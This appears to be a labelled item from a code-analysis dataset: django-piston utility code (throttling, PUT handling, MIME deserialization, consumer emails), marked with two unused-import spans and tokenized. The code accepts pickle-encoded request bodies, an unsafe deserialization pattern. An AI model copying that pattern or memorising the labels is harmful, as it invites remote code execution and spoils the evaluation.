after it's in\n stable, you can change it here.\n \"\"\"\n ident += ':%s' % extra\n \n now = time.time()\n count, expiration = cache.get(ident, (1, None))\n\n if expiration is None:\n expiration = now + timeout\n\n if count >= max_requests and expiration > now:\n t = rc.THROTTLED\n wait = int(expiration - now)\n t.content = 'Throttled, wait %d seconds.' % wait\n t['Retry-After'] = wait\n return t\n\n cache.set(ident, (count+1, expiration), (expiration - now))\n \n return f(self, request, *args, **kwargs)\n return wrap", "metadata": "root.throttle", "header": "['module', '___EOS___']", "index": 97 }, { "content": "def coerce_put_post(request):\n \"\"\"\n Django doesn't particularly understand REST.\n In case we send data over PUT, Django won't\n actually look at the data and load it. We need\n to twist its arm here.\n \n The try/except abominiation here is due to a bug\n in mod_python. This should fix it.\n \"\"\"\n if request.method == \"PUT\":\n # Bug fix: if _load_post_and_files has already been called, for\n # example by middleware accessing request.POST, the below code to\n # pretend the request is a POST instead of a PUT will be too late\n # to make a difference. Also calling _load_post_and_files will result \n # in the following exception:\n # AttributeError: You cannot set the upload handlers after the upload has been processed.\n # The fix is to check for the presence of the _post field which is set \n # the first time _load_post_and_files is called (both by wsgi.py and \n # modpython.py). If it's set, the request has to be 'reset' to redo\n # the query value parsing in POST mode.\n if hasattr(request, '_post'):\n del request._post\n del request._files\n \n try:\n request.method = \"POST\"\n request._load_post_and_files()\n request.method = \"PUT\"\n except AttributeError:\n request.META['REQUEST_METHOD'] = 'POST'\n request._load_post_and_files()\n request.META['REQUEST_METHOD'] = 'PUT'\n \n request.PUT = request.POST", "metadata": "root.coerce_put_post", "header": "['module', '___EOS___']", "index": 153 }, { "content": "class MimerDataException(Exception):\n \"\"\"\n Raised if the content_type and data don't match\n \"\"\"\n pass", "metadata": "root.MimerDataException", "header": "['module', '___EOS___']", "index": 190 }, { "content": "class Mimer(object):\n TYPES = dict()\n \n \n\n \n\n \n ", "metadata": "root.Mimer", "header": "['module', '___EOS___']", "index": 196 }, { "content": " def __init__(self, request):\n self.request = request", "metadata": "root.Mimer.__init__", "header": "['class', 'Mimer', '(', 'object', ')', ':', '___EOS___']", "index": 199 }, { "content": " def is_multipart(self):\n content_type = self.content_type()\n\n if content_type is not None:\n return content_type.lstrip().startswith('multipart')\n\n return False", "metadata": "root.Mimer.is_multipart", "header": "['class', 'Mimer', '(', 'object', ')', ':', '___EOS___']", "index": 202 }, { "content": " def loader_for_type(self, ctype):\n \"\"\"\n Gets a function ref to deserialize content\n for a certain mimetype.\n \"\"\"\n for loadee, mimes in Mimer.TYPES.iteritems():\n for mime in mimes:\n if ctype.startswith(mime):\n return loadee", "metadata": "root.Mimer.loader_for_type", "header": "['class', 'Mimer', '(', 'object', ')', ':', '___EOS___']", "index": 210 }, { "content": " def content_type(self):\n \"\"\"\n Returns the content type of the request in all cases where it is\n different than a submitted form - application/x-www-form-urlencoded\n \"\"\"\n type_formencoded = \"application/x-www-form-urlencoded\"\n\n ctype = self.request.META.get('CONTENT_TYPE', type_formencoded)\n \n if type_formencoded in ctype:\n return None\n \n return ctype", "metadata": "root.Mimer.content_type", "header": "['class', 'Mimer', '(', 'object', ')', ':', '___EOS___']", "index": 220 }, { "content": " def translate(self):\n \"\"\"\n Will look at the `Content-type` sent by the client, and maybe\n deserialize the contents into the format they sent. This will\n work for JSON, YAML, XML and Pickle. Since the data is not just\n key-value (and maybe just a list), the data will be placed on\n `request.data` instead, and the handler will have to read from\n there.\n \n It will also set `request.content_type` so the handler has an easy\n way to tell what's going on. `request.content_type` will always be\n None for form-encoded and/or multipart form data (what your browser sends.)\n \"\"\" \n ctype = self.content_type()\n self.request.content_type = ctype\n \n if not self.is_multipart() and ctype:\n loadee = self.loader_for_type(ctype)\n \n if loadee:\n try:\n self.request.data = loadee(self.request.raw_post_data)\n \n # Reset both POST and PUT from request, as its\n # misleading having their presence around.\n self.request.POST = self.request.PUT = dict()\n except (TypeError, ValueError):\n # This also catches if loadee is None.\n raise MimerDataException\n else:\n self.request.data = None\n\n return self.request", "metadata": "root.Mimer.translate", "header": "['class', 'Mimer', '(', 'object', ')', ':', '___EOS___']", "index": 234 }, { "content": " @classmethod\n def register(cls, loadee, types):\n cls.TYPES[loadee] = types", "metadata": "root.Mimer.register", "header": "['class', 'Mimer', '(', 'object', ')', ':', '___EOS___']", "index": 268 }, { "content": " @classmethod\n def unregister(cls, loadee):\n return cls.TYPES.pop(loadee)", "metadata": "root.Mimer.unregister", "header": "['class', 'Mimer', '(', 'object', ')', ':', '___EOS___']", "index": 272 }, { "content": "def translate_mime(request):\n request = Mimer(request).translate()", "metadata": "root.translate_mime", "header": "['module', '___EOS___']", "index": 276 }, { "content": "def require_mime(*mimes):\n \"\"\"\n Decorator requiring a certain mimetype. There's a nifty\n helper called `require_extended` below which requires everything\n we support except for post-data via form.\n \"\"\"\n @decorator\n def wrap(f, self, request, *args, **kwargs):\n m = Mimer(request)\n realmimes = set()\n\n rewrite = { 'json': 'application/json',\n 'yaml': 'application/x-yaml',\n 'xml': 'text/xml',\n 'pickle': 'application/python-pickle' }\n\n for idx, mime in enumerate(mimes):\n realmimes.add(rewrite.get(mime, mime))\n\n if not m.content_type() in realmimes:\n return rc.BAD_REQUEST\n\n return f(self, request, *args, **kwargs)\n return wrap", "metadata": "root.require_mime", "header": "['module', '___EOS___']", "index": 279 }, { "content": "def send_consumer_mail(consumer):\n \"\"\"\n Send a consumer an email depending on what their status is.\n \"\"\"\n try:\n subject = settings.PISTON_OAUTH_EMAIL_SUBJECTS[consumer.status]\n except AttributeError:\n subject = \"Your API Consumer for %s \" % Site.objects.get_current().name\n if consumer.status == \"accepted\":\n subject += \"was accepted!\"\n elif consumer.status == \"canceled\":\n subject += \"has been canceled.\"\n elif consumer.status == \"rejected\":\n subject += \"has been rejected.\"\n else: \n subject += \"is awaiting approval.\"\n\n template = \"piston/mails/consumer_%s.txt\" % consumer.status \n \n try:\n body = loader.render_to_string(template, \n { 'consumer' : consumer, 'user' : consumer.user })\n except TemplateDoesNotExist:\n \"\"\" \n They haven't set up the templates, which means they might not want\n these emails sent.\n \"\"\"\n return \n\n try:\n sender = settings.PISTON_FROM_EMAIL\n except AttributeError:\n sender = settings.DEFAULT_FROM_EMAIL\n\n if consumer.user:\n send_mail(_(subject), body, sender, [consumer.user.email], fail_silently=True)\n\n if consumer.status == 'pending' and len(settings.ADMINS):\n mail_admins(_(subject), body, fail_silently=True)\n\n if settings.DEBUG and consumer.user:\n print \"Mail being sent, to=%s\" % consumer.user.email\n print \"Subject: %s\" % _(subject)\n print body", "metadata": "root.send_consumer_mail", "header": "['module', '___EOS___']", "index": 306 } ]
[ { "span": "from django.http import HttpResponseNotAllowed, HttpResponseForbidden, HttpResponse, HttpResponseBadRequest", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 107 }, { "span": "from django.core.urlresolvers import reverse", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 44 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "http_", "import_", "Http", "Respons", "e", "Not", "Allowed_", ",_", "Http", "Respons", "e", "Forbidden_", ",_", "Http", "Response_", ",_", "Http", "Respons", "e", "Ba", "d", "Request_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "urlresolvers_", "import_", "reverse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "cache_", "import_", "cache_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "import_", "get", "\\u", "version_", "as_", "django", "\\u", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "mail_", "import_", "send", "\\u", "mail_", ",_", "mail", "\\u", "admins_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "ugettext_", "as_", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "template_", "import_", "loader_", ",_", "Templa", "te", "Do", "es", "Not", "Exist_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "sites_", "._", "models_", "import_", "Site_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "decorator_", "import_", "decorator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "datetime_", "import_", "datetime_", ",_", "timedelta_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "version\\u\\u_", "=_", "'", "0.", "2.3", "rc", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rc_", "=_", "rc", "\\u", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "require", "\\u", "extended_", "=_", "require", "\\u", "mime_", "(_", "'", "json", "'_", ",_", "'", "yaml", "'_", ",_", "'", "xml", "'_", ",_", "'", "pickle", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "version_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u", "version\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "format\\u", "error_", "(_", "error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "u", "\"", "Pi", "ston", "/", "%", "s", " ", "(", "Dj", "ang", "o", " ", "%", "s", ")", " ", "crash", " ", "report", ":\\\\", "n", "\\\\", "n", "%", "s", "\"_", "%_", "(_", "get", "\\u", "version_", "(_", ")_", ",_", "django", "\\u", "version_", "(_", ")_", ",_", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "rc", "\\u", "factory_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Status", " ", "codes", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "CODES_", "=_", "dict_", "(_", "ALL", "\\u", "OK_", "=_", "(_", "'", "OK", "'_", ",_", "200_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "CREATED_", "=_", "(_", "'", "Creat", "ed", "'_", ",_", "201_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "DELETED", "_", "=_", "(_", "''_", ",_", "204_", ")_", ",_", "#", " ", "204", " ", "say", "s", " ", "\"", "Don", "'", "t", " ", "send", " ", "a", " ", "body", "!\"_", "\\u\\u\\uNL\\u\\u\\u_", "BAD", "\\u", "REQUEST_", "=_", "(_", "'", "Ba", "d", " ", "Request", "'_", ",_", "400_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "FORB", "IDD", "EN_", "=_", "(_", "'", "For", "bid", "den", "'_", ",_", "401_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "NOT", "\\u", "FOUND_", "=_", "(_", "'", "Not", " ", "Foun", "d", "'_", ",_", "404_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "DUPL", "ICAT", "E", "\\u", "ENTRY_", "=_", "(_", "'", "Confl", "ict", "/", "Duplicate", "'_", ",_", "409_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "NOT", "\\u", "HER", "E_", "=_", "(_", "'", "Gon", "e", "'_", ",_", "410", "_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "INTERN", "AL", "\\u", "ERROR_", "=_", "(_", "'", "Intern", "al", " ", "Error", "'_", ",_", "500_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "NOT", "\\u", "IMPL", "EMENTED", "_", "=_", "(_", "'", "Not", " ", "Impl", "ement", "ed", "'_", ",_", "501_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "THRO", "TTL", "ED_", "=_", "(_", "'", "Throttle", "d", "'_", ",_", "503_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "rc", "\\u", "factory_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "getattr\\u\\u_", "(_", "self_", ",_", "attr_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "a", " ", "fresh", " ", "`", "Http", "Respons", "e", "`", " ", "whe", "n", " ", "getti", "ng", " ", "\\", "10", ";", " ", " ", " ", " ", "an", " ", "\"", "attribute", "\".", " ", "Thi", "s", " ", "is", " ", "back", "ward", "s", " ", "compatible", "\\", "10", ";", " ", " ", " ", " ", "with", " ", "0.", "2", ",", " ", "whi", "ch", " ", "is", " ", "importa", "nt", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "r_", ",_", "c_", ")_", "=_", "self_", "._", "CODES_", "._", "get_", "(_", "attr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Attribute", "Error_", "(_", "attr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Http", "Respons", "e", "Wrapper_", "(_", "Http", "Response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Wra", "p", " ", "Http", "Respons", "e", " ", "and", " ", "make", " ", "sure", " ", "tha", "t", " ", "the", " ", "internal", " ", "\\u", "is", "\\u", "string", " ", "\\", "10", ";", " ", " ", " ", " ", "flag", " ", "is", " ", "update", "d", " ", "whe", "n", " ", "the", " ", "\\u", "set\\u", "content", " ", "method", " ", "(", "via", " ", "the", " ", "content", " ", "\\", "10", ";", " ", " ", " ", " ", "property", ")", " ", "is", " ", "call", "ed", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "set\\u", "content_", "(_", "self_", ",_", "content_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Set", " ", "the", " ", "\\u", "container", " ", "and", " ", "\\u", "is", "\\u", "string", " ", "proper", "ties", " ", "based", " ", "on", " ", "the", " ", "\\", "10", ";", " ", " ", " ", " ", "type", " ", "of", " ", "the", " ", "value", " ", "parameter", ".", " ", "Thi", "s", " ", "logic", " ", "is", " ", "in", " ", "the", " ", "constr", "uto", "r", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "Http", "Respons", "e", ",", " ", "but", " ", "doe", "sn", "'", "t", " ", "get", " ", "repeated", " ", "whe", "n", " ", "setti", "ng", " ", "\\", "10", ";", " ", " ", " ", " ", "Http", "Respons", "e", ".", "content", " ", "alth", "ou", "gh", " ", "this", " ", "bug", " ", "report", " ", "(", "feature", " ", "request", ")", "\\", "10", ";", " ", " ", " ", " ", "suggest", "s", " ", "tha", "t", " ", "it", " ", "shou", "ld", ":", " ", "http", "://", "code", ".", "django", "project", ".", "com", "/", "tick", "et", "/", "940", "3", " ", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "content_", ",_", "basestring_", ")_", "and_", "hasattr_", "(_", "content_", ",_", "'\\u", "\\u", "iter", "\\u\\u'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "container_", "=_", "content_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "is", "\\u", "string_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "container_", "=_", "[_", "content_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "is", "\\u", "string_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "content_", "=_", "property_", "(_", "Http", "Response_", "._", "\\u", "get", "\\u", "content_", ",_", "\\u", "set\\u", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Http", "Respons", "e", "Wrapper_", "(_", "r_", ",_", "content", "\\u", "type_", "=_", "'", "text", "/", "plain", "'_", ",_", "status_", "=_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Form", "Validat", "ion", "Error_", "(_", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Form", "Validat", "ion", "Error_", "(_", "Exception_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "form_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "form_", "=_", "form_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Http", "Status", "Code_", "(_", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Http", "Status", "Code_", "(_", "Exception_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "response_", "=_", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "validate_", "(_", "v", "\\u", "form_", ",_", "operation_", "=_", "'", "POST", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "decorator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "wrap_", "(_", "f_", ",_", "self_", ",_", "request_", ",_", "*_", "a_", ",_", "**_", "kwa", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "=_", "v", "\\u", "form_", "(_", "getattr_", "(_", "request_", ",_", "operation_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "form_", "._", "is", "\\u", "valid_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setattr_", "(_", "request_", ",_", "'", "form", "'_", ",_", "form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "f_", "(_", "self_", ",_", "request_", ",_", "*_", "a_", ",_", "**_", "kwa", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Form", "Validat", "ion", "Error_", "(_", "form_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "wrap_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "throttle_", "(_", "max", "\\u", "requests_", ",_", "timeout_", "=_", "60_", "*_", "60_", ",_", "extra_", "=_", "''_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Simple", " ", "thro", "ttl", "ing", " ", "decorat", "or", ",", " ", "cache", "s", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "amo", "unt", " ", "of", " ", "request", "s", " ", "made", " ", "in", " ", "cache", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "used", " ", "on", " ", "a", " ", "view", " ", "where", " ", "users", " ", "are", " ", "require", "d", " ", "to", "\\", "10", ";", " ", " ", " ", " ", "log", " ", "in", ",", " ", "the", " ", "user", "name", " ", "is", " ", "used", ",", " ", "other", "wis", "e", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "IP", " ", "address", " ", "of", " ", "the", " ", "originat", "ing", " ", "request", " ", "is", " ", "used", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "::", "\\", "10", ";", " ", "-", " ", "`", "max", "\\u", "request", "s", "`", ":", " ", "The", " ", "maxim", "um", " ", "number", " ", "of", " ", "request", "s", "\\", "10", ";", " ", "-", " ", "`", "timeo", "ut", "`", ":", " ", "The", " ", "timeo", "ut", " ", "for", " ", "the", " ", "cache", " ", "entry", " ", "(", "default", ":", " ", "1", " ", "hour", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "decorator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "wrap_", "(_", "f_", ",_", "self_", ",_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "request_", "._", "user_", "._", "is", "\\u", "authenticated_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ident_", "=_", "request_", "._", "user_", "._", "username_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ident_", "=_", "request_", "._", "META_", "._", "get_", "(_", "'", "REMO", "TE", "\\u", "ADDR", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "request_", ",_", "'", "throttle", "\\u", "extra", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Sin", "ce", " ", "we", " ", "want", " ", "to", " ", "be", " ", "able", " ", "to", " ", "throttle", " ", "on", " ", "a", " ", "per", "-", "\\", "10", ";", " ", " ", " ", " ", "applica", "tion", " ", "basi", "s", ",", " ", "it", "'", "s", " ", "importa", "nt", " ", "tha", "t", " ", "we", " ", "realize", "\\", "10", ";", " ", " ", " ", " ", "tha", "t", " ", "`", "throttle", "\\u", "extra", "`", " ", "mig", "ht", " ", "be", " ", "set", " ", "on", " ", "the", " ", "request", "\\", "10", ";", " ", " ", " ", " ", "object", ".", " ", "If", " ", "so", ",", " ", "append", " ", "the", " ", "identifi", "er", " ", "name", " ", "with", " ", "it", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ident_", "+=_", "':", "%", "s", "'_", "%_", "str_", "(_", "request_", "._", "throttle", "\\u", "extra_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "ident_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Prefe", "rra", "bly", " ", "we", "'", "d", " ", "use", " ", "incr", "/", "dec", "r", " ", "here", ",", " ", "sinc", "e", " ", "the", "y", "'", "re", "\\", "10", ";", " ", " ", " ", " ", "atomi", "c", " ", "in", " ", "memcached", ",", " ", "but", " ", "it", "'", "s", " ", "in", " ", "django", "-", "trunk", " ", "so", " ", "we", "\\", "10", ";", " ", " ", " ", " ", "can", "'", "t", " ", "use", " ", "it", " ", "ye", "t", ".", " ", "If", " ", "some", "one", " ", "see", "s", " ", "this", " ", "after", " ", "it", "'", "s", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "stable", ",", " ", "you", " ", "can", " ", "change", " ", "it", " ", "here", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ident_", "+=_", "':", "%", "s", "'_", "%_", "extra_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "now_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", ",_", "expiration_", "=_", "cache_", "._", "get_", "(_", "ident_", ",_", "(_", "1_", ",_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "expiration_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "expiration_", "=_", "now_", "+_", "timeout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "count_", ">=_", 